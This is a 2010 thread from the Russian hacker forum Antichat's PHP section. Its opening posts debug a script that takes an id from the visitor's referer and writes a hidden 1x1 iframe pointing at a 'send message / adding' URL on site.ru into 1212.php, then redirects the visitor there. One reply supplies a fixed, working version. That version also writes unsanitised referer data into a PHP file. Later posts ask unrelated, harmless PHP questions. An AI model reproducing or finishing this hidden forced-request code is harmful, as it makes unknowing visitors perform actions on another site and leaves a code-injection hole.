HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.02.2010, 01:45
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию

у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.

Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???



PHP код:
<?PHP 
$ref 
getenv("HTTP_REFERER"); 
$filelog fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>');
fclose($filelog); 
$move=preg_replace('/\D+/''http://site.ru/msg?send&id='$ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");      
?>

Последний раз редактировалось satana-fu; 03.02.2010 в 01:48..
 
Ответить с цитированием

  #2  
Старый 03.02.2010, 02:28
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами: 10030823

Репутация: 149
По умолчанию

Цитата:
Сообщение от satana-fu  
у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.

Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???


PHP код:
<?PHP 
$ref 
getenv("HTTP_REFERER"); 
$filelog fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
fclose($filelog); 
$move=preg_replace('/\D+/''http://site.ru/msg?send&id='$ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");      
?>
 
Ответить с цитированием

  #3  
Старый 03.02.2010, 04:37
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию

Цитата:
Сообщение от GlooK  
PHP код:
<?PHP 
$ref 
getenv("HTTP_REFERER"); 
$filelog fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
fclose($filelog); 
$move=preg_replace('/\D+/''http://site.ru/msg?send&id='$ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");      
?>

теперь фрейм записывается вообще с пустым сорсом

PHP код:
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=""></iframe
 
Ответить с цитированием

  #4  
Старый 03.02.2010, 04:53
Fepsis
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами: 9288386

Репутация: 536


По умолчанию

Цитата:
Сообщение от satana-fu  
теперь фрейм записывается вообще с пустым сорсом
Так ничего удивительного ты записываешь в файл
PHP код:
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe
а потом только с переменной $move производишь какие-то непонятные манипуляции...

так попробуй:

PHP код:
<?PHP  
$ref 
getenv("HTTP_REFERER");
preg_match("/(?<=send&id=)(.*?)$/"$ref$id);
$filelog fopen("1212.php","a+"); 
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$id[0].'"></iframe>'); 
fclose($filelog);
header("Location: 1212.php");
?>
Тогда в 1212.php запишется
PHP код:
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="тут ИД который спарсили"></iframe

Последний раз редактировалось Fepsis; 03.02.2010 в 05:03..
 
Ответить с цитированием

  #5  
Старый 03.02.2010, 17:54
draliokero
Познающий
Регистрация: 14.03.2009
Сообщений: 86
С нами: 9031356

Репутация: 12
По умолчанию

Как проверить URL relative или absolute? Нужна функция…
 
Ответить с цитированием

  #6  
Старый 04.02.2010, 02:51
imajo.ati
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
С нами: 9589849

Репутация: 177
По умолчанию

Цитата:
Сообщение от draliokero  
Как проверить URL relative или absolute? Нужна функция…
PHP код:
<?php
function isabs($url) { 
    return (
parse_url($urlPHP_URL_SCHEME) !== null);
}
//bool

Последний раз редактировалось imajo.ati; 04.02.2010 в 02:54..
 
Ответить с цитированием

  #7  
Старый 04.02.2010, 10:15
Komyak
Участник форума
Регистрация: 15.01.2009
Сообщений: 158
С нами: 9116253

Репутация: 26
По умолчанию

Не нашёл ответа... Есть ли разница как подавать POST запрос:
В строке:
Код:
$str="param=$param&log=$log";
Или в массиве:
Код:
$str=array(                                                                                            
        'param' => $param,
        'log' => $log);
 
Ответить с цитированием

  #8  
Старый 04.02.2010, 10:56
Compton
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
С нами: 8566257

Репутация: 63
Отправить сообщение для Compton с помощью AIM Отправить сообщение для Compton с помощью Yahoo
По умолчанию

Komyak
ты берешь данные из формы и делаешь POSTFIELDS через CURL?
 
Ответить с цитированием

  #9  
Старый 04.02.2010, 18:09
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами: 11278406

Репутация: 818


По умолчанию

Цитата:
Сообщение от Komyak  
Не нашёл ответа... Есть ли разница как подавать POST запрос:
В строке:
Код:
$str="param=$param&log=$log";
Или в массиве:
Код:
$str=array(                                                                                            
        'param' => $param,
        'log' => $log);
Если слать файл то в массиве, если просто пост то обычно строкой делай.
 
Ответить с цитированием

  #10  
Старый 04.02.2010, 12:16
draliokero
Познающий
Регистрация: 14.03.2009
Сообщений: 86
С нами: 9031356

Репутация: 12
По умолчанию

Как с помощью GD сделать изображение черно-белым, не используя фильтр IMG_FILTER_GRAYSCALE, только два цвета черный и белый без серого?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.